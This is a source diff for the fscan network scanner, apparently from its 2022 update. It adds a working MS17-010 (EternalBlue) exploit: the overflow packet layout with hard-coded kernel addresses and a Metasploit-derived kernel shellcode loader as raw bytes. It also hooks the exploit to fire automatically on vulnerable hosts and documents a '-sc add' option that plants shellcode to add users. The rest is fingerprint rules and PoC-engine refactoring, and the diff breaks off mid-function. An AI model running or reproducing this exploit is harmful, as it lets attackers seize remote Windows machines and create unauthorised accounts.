packetMaxLen - packetSetupLen + // padding + buf := bytes.Buffer{} + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) + + // KI_USER_SHARED_DATA addresses + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) + + // payload address + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) + + // set payload + buf.Write(payload) + + // fill out the rest, this can be randomly generated + buf.Write(makeZero(packetMaxPayload - len(payload))) + + return buf.Bytes() +} + +func makeZero(size int) []byte { + return bytes.Repeat([]byte{0}, size) +} + +// loader is used to run user mode sc in the kernel mode. +// reference Metasploit-Framework: +// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +var loader = [...]byte{ + 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, + 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, + 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, + 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, + 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, + 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, + 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, + 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, + 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, + 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, + 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, + 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, + 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, + 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, + 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, + 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, + 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, + 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, + 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, + 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, + 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, + 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, + 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, + 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, + 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, + 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, + 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, + 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, + 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, + 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, + 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, + 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, + 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, + 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, + 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, + 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, + 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, + 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, + 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, + 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, + 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, + 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, + 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, + 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, + 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, + 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, + 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, + 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, + 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, + 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, + 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, + 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, + 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, + 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, + 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, + 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, +} diff --git a/Plugins/ms17010.go b/Plugins/ms17010.go index 0269499..aeb32dd 100644 --- a/Plugins/ms17010.go +++ b/Plugins/ms17010.go @@ -131,6 +131,9 @@ func MS17010Scan(info *common.HostInfo) error { //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os) common.LogSuccess(result) + if common.SC != "" { + MS17010EXP(info) + } // detect present of DOUBLEPULSAR SMB implant trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 0f719ff..84ce195 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -75,8 +75,8 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData } } } - - err, _, CheckData = geturl(info, 2, CheckData) + //是否访问图标 + //err, _, CheckData = geturl(info, 2, CheckData) if err != nil { return } @@ -105,11 +105,12 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") req.Header.Set("Accept", "*/*") req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - if common.Pocinfo.Cookie != "" { - req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) - } else { - req.Header.Set("Cookie", "rememberMe=1") - } + req.Header.Set("Cookie", common.Pocinfo.Cookie) + //if common.Pocinfo.Cookie != "" { + // req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) + //} else { + // req.Header.Set("Cookie", "rememberMe=1") + //} req.Header.Set("Connection", "close") var client *http.Client if flag == 1 { diff --git a/README.md b/README.md index 005552f..cd64a10 100644 --- a/README.md +++ b/README.md @@ -24,8 +24,9 @@ * web漏洞扫描(weblogic、st2等,支持xray的poc) 5.漏洞利用: -* redis写公钥或写计划任务 -* ssh命令执行 +* redis写公钥或写计划任务 +* ssh命令执行 +* ms17017利用(植入shellcode),如添加用户等 6.其他功能: * 文件保存 @@ -53,6 +54,8 @@ fscan.exe -hf ip.txt (以文件导入) fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 +fscan.exe -h 192.168.1.1/24 -m ms17017 -sc add (可在ms17010-exp.go自定义shellcode,内置添加用户等功能) ``` 编译命令 ``` @@ -135,6 +138,10 @@ go build -ldflags="-s -w " -trimpath 在原有用户字典基础上,新增新用户 -pwda string 在原有密码字典基础上,增加新密码 + -socks5 + 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) + -sc + 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) ``` ## 运行截图 @@ -194,6 +201,8 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 ## 最近更新 +[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 +新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 [+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 [+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito [+] 2022/1/11 新增oracle密码爆破 diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 88878a3..30c3410 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -28,11 +28,11 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string { infoname = append(infoname, rule.Name) } } - flag, name := CalcMd5(data.Body) + //flag, name := CalcMd5(data.Body) - if flag == true { - infoname = append(infoname, name) - } + //if flag == true { + // infoname = append(infoname, name) + //} } infoname = removeDuplicateElement(infoname) diff --git a/WebScan/info/rules.go b/WebScan/info/rules.go index 2fd3c56..88bb2df 100644 --- a/WebScan/info/rules.go +++ b/WebScan/info/rules.go @@ -110,7 +110,7 @@ var RuleDatas = []RuleData{ {"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"}, {"H3C ER2100V2", "code", "(ER2100V2系统管理)"}, {"zabbix", "cookie", "(zbx_sessionid)"}, - {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"}, + {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"}, {"CISCO_VPN", "headers", "(webvpn)"}, {"360站长平台", "code", "(360-site-verification)"}, {"H3C ER3108GW", "code", "(ER3108GW系统管理)"}, @@ -128,7 +128,7 @@ var RuleDatas = []RuleData{ {"H3C ER6300G2", "code", "(ER6300G2系统管理)"}, {"H3C ER3260", "code", "(ER3260系统管理)"}, {"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"}, - {"exchange", "code", "(/owa/auth.owa)"}, + {"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"}, {"Spark_Worker", "code", "(Spark Worker at)"}, {"H3C ER3108G", "code", "(ER3108G系统管理)"}, {"Citrix-ConfProxy", "code", "(confproxy)"}, @@ -145,7 +145,7 @@ var RuleDatas = []RuleData{ {"金和协同管理平台", "code", "(金和协同管理平台)"}, {"Citrix-NetScaler", "code", "(NS-CACHE)"}, {"linksys-vpn", "headers", "(linksys-vpn)"}, - {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"}, + {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"}, {"华为(HUAWEI)Secoway设备", "code", "(Secoway)"}, {"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"}, {"H3C ER2100n", "code", "(ER2100n系统管理)"}, @@ -169,7 +169,7 @@ var RuleDatas = []RuleData{ {"VMware vSphere", "code", "(VMware vSphere)"}, {"打印机", "code", "(打印机|media/canon.gif)"}, {"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"}, - {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"}, + {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"}, {"GitLab", "code", "(href=\"https://about.gitlab.com/)"}, {"用友", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"}, {"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"}, @@ -232,7 +232,7 @@ var RuleDatas = []RuleData{ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"}, {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"}, {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"}, - {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\")"}, + {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"}, {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"}, {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"}, {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"}, @@ -246,14 +246,21 @@ var RuleDatas = []RuleData{ {"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"}, {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"}, {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"}, - {"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg)"}, + {"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|用友NC|logo/images/ufida_nc.png)"}, {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"}, {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, {"CMS", "code", "(Powered by .*CMS)"}, - {"editor", "code", "(editor)"}, + {"目录遍历", "code", "(Directory listing for /)"}, {"ATLASSIAN-Confluence", "code", "(confluence.)"}, {"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"}, + {"Kubernetes", "code", "(Kubernetes Dashboard|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"}, + {"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress)"}, + {"RabbitMQ", "code", "(RabbitMQ Management)"}, + {"dubbo", "headers", "(Basic realm=\"dubbo\")"}, + {"Spring env", "code", "(logback)"}, + {"ueditor", "code", "(ueditor.all.js|UE.getEditor)"}, + {"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"}, } var Md5Datas = []Md5Data{ diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index 8a38808..bf1060d 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -1,6 +1,7 @@ package lib import ( + "crypto/md5" "fmt" "github.com/google/cel-go/cel" "github.com/shadow1ng/fscan/WebScan/info" @@ -9,7 +10,6 @@ import ( "net/http" "net/url" "regexp" - "sort" "strings" "sync" "time" @@ -56,9 +56,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { c := NewEnvOption() c.UpdateCompileOptions(p.Set) if len(p.Sets) > 0 { - setMap := make(map[string]string) - for k := range p.Sets { - setMap[k] = p.Sets[k][0] + var setMap StrMap + for _, item := range p.Sets { + if len(item.Value) > 0 { + setMap = append(setMap, StrItem{item.Key, item.Value[0]}) + } else { + setMap = append(setMap, StrItem{item.Key, ""}) + } } c.UpdateCompileOptions(setMap) } @@ -74,91 +78,21 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { } variableMap := make(map[string]interface{}) variableMap["request"] = req - - // 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload - keys := make([]string, 0) - keys1 := make([]string, 0) - for k := range p.Set { - if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") { - keys = append(keys, k) //优先放入调用random系列函数的变量 - } else { - keys1 = append(keys1, k) + for _, item := range p.Set { + k, expression := item.Key, item.Value + if expression == "newReverse()" { + variableMap[k] = newReverse() + continue } - } - sort.Strings(keys) - sort.Strings(keys1) - keys = append(keys, keys1...) - for _, k := range keys { - expression := p.Set[k] - if k != "payload" { - if expression == "newReverse()" { - variableMap[k] = newReverse() - continue - } - out, err := Evaluate(env, expression, variableMap) - if err != nil { - //fmt.Println(p.Name," poc_expression error",err) - variableMap[k] = expression - continue - } - switch value := out.Value().(type) { - case *UrlType: - variableMap[k] = UrlTypeToString(value) - case int64: - variableMap[k] = int(value) - case []uint8: - variableMap[k] = fmt.Sprintf("%s", out) - default: - variableMap[k] = fmt.Sprintf("%v", out) - } - } - } - - if p.Set["payload"] != "" { - out, err := Evaluate(env, p.Set["payload"], variableMap) + err, _ = evalset(env, variableMap, k, expression) if err != nil { - //fmt.Println(p.Name," poc_payload error",err) - return false, err, "" - } - variableMap["payload"] = fmt.Sprintf("%v", out) - } - - setslen := 0 - haspayload := false - var setskeys []string - if len(p.Sets) > 0 { - for _, rule := range p.Rules { - for k := range p.Sets { - if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") { - if strings.Contains(k, "payload") { - haspayload = true - } - setslen++ - setskeys = append(setskeys, k) - continue - } - for k2 := range rule.Headers { - if strings.Contains(rule.Headers[k2], "{{"+k+"}}") { - if strings.Contains(k, "payload") { - haspayload = true - } - setslen++ - setskeys = append(setskeys, k) - continue - } - } - } + fmt.Printf("[-] %s evalset error: %v", p.Name, err) } } - success := false //爆破模式,比如tomcat弱口令 - if setslen > 0 { - if haspayload { - success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys) - } else { - success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys) - } + if len(p.Sets) > 0 { + success, err = clusterpoc(oReq, p, variableMap, req, env) return success, nil, "" } @@ -179,8 +113,8 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { } Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) + rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value) + rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value) } if oReq.URL.Path != "" && oReq.URL.Path != "/" { @@ -189,15 +123,22 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { req.Url.Path = rule.Path } // 某些poc没有区分path和query,需要处理 - req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") + //req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") + //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) + newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) + if err != nil { + //fmt.Println("[-] newRequest error: ",err) + return false, err + } + newRequest.URL.Path = req.Url.Path newRequest.Header = oReq.Header.Clone() for k, v := range Headers { newRequest.Header.Set(k, v) } + Headers = nil resp, err := DoRequest(newRequest, rule.FollowRedirects) + newRequest = nil if err != nil { return false, err } @@ -247,7 +188,8 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { if len(p.Rules) > 0 { success = DealWithRules(p.Rules) } else { - for name, rules := range p.Groups { + for _, item := range p.Groups { + name, rules := item.Key, item.Value success = DealWithRules(rules) if success { return success, nil, name @@ -281,10 +223,10 @@ func newReverse() *Reverse { letters := "1234567890abcdefghijklmnopqrstuvwxyz" randSource := rand.New(rand.NewSource(time.Now().Unix())) sub := RandomStr(randSource, letters, 8) - if true { - //默认不开启dns解析 - return &Reverse{} - } + //if true { + // //默认不开启dns解析 + // return &Reverse{} + //} urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain) u, _ := url.Parse(urlStr) return &Reverse{ @@ -295,323 +237,182 @@ func newReverse() *Reverse { } } -func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) { - for _, rule := range p.Rules { - for k1, v1 := range variableMap { - if IsContain(keys, k1) { - continue - } - _, isMap := v1.(map[string]string) - if isMap { - continue - } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range rule.Headers { - rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) - } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) - } - - n := 0 - for k := range p.Sets { - if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") { - n++ - continue - } - for k2 := range rule.Headers { - if strings.Contains(rule.Headers[k2], "{{"+k+"}}") { - n++ - continue - } - } - } - if n == 0 { +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { + var strMap StrMap + var tmpnum int + for i, rule := range p.Rules { + if !isFuzz(rule, p.Sets) { success, err = clustersend(oReq, variableMap, req, env, rule) if err != nil { return false, err } - if success == false { - break + if success { + continue + } else { + return false, err } } - - if slen == 1 { - look1: - for _, var1 := range p.Sets[keys[0]] { - rule1 := cloneRules(rule) + setsMap := Combo(p.Sets) + ruleHash := make(map[string]struct{}) + look: + for j, item := range setsMap { + //shiro默认只跑10key + if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { + if item[1] == "cbc" { + 